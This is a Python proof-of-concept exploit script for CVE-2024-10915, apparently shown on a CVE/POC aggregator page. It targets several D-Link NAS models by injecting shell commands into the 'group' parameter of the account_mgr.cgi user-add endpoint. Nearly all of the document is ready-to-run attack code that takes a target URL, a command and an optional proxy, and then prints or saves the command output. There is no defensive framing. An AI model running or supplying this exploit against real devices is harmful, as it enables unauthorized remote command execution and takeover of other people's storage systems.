4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / dlink_nas_rce_cve_2024_10915.py PY
#!/usr/bin/env python3

import requests
import argparse
import urllib.parse
import sys
from datetime import datetime

def format_url(url):
    return url.rstrip('/')

def build_exploit_url(base_url, command):
    encoded = urllib.parse.quote(f"';{command};'")
    return f"{base_url}/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group={encoded}"

def display_info():
    print(f"""
[*] CVE-2024-10915 - D-Link NAS Remote Command Execution
[*] Vulnerable Endpoint: /cgi-bin/account_mgr.cgi?cmd=cgi_user_add
[*] Affected Products:
    - D-Link DNS-320
    - D-Link DNS-320LW
    - D-Link DNS-325
    - D-Link DNS-340L
""")

def list_vulnerable():
    print("""
[+] Vulnerable D-Link NAS Products:
    - DNS-320
    - DNS-320LW
    - DNS-325
    - DNS-340L
    """)
    sys.exit(0)

def exploit(url, command, proxy=None, output_file=None):
    headers = {
        "User-Agent": "Mozilla/5.0 (Linux; x86_64)",
        "Accept": "*/*",
    }

    proxies = {"http": proxy, "https": proxy} if proxy else None
    exploit_url = build_exploit_url(url, command)

    print("[*] Launching Exploit at:", datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
    print("[*] Target:", url)
    print("[*] Command:", command)
    if proxy:
        print("[*] Proxy:", proxy)
    print("[*] Full Exploit URL:", exploit_url)

    try:
        resp = requests.get(exploit_url, headers=headers, timeout=10, verify=False, proxies=proxies)
        print("\n[+] Response Status:", resp.status_code)

        if resp.status_code == 200:
            print("[+] Command executed. Output:")
            print("-" * 60)
            print(resp.text.strip())
            print("-" * 60)
            if output_file:
                with open(output_file, 'w') as f:
                    f.write(resp.text)
                print(f"[+] Output saved to: {output_file}")
        else:
            print("[-] Target responded with unexpected status code.")

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-10915 - D-Link NAS RCE Exploit")
    parser.add_argument("-u", "--url", help="Target base URL (e.g. http://192.168.0.100)", required=False)
    parser.add_argument("-c", "--command", help="Command to execute (default: id)", default="id")
    parser.add_argument("-p", "--proxy", help="Optional proxy (http://127.0.0.1:8080)")
    parser.add_argument("-o", "--output", help="Write HTTP response to file")
    parser.add_argument("-l", "--list", help="List affected models", action="store_true")

    args = parser.parse_args()

    if args.list:
        list_vulnerable()

    if not args.url:
        parser.print_help()
        sys.exit(1)

    display_info()
    url = format_url(args.url)
    exploit(url, args.command, args.proxy, args.output)

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()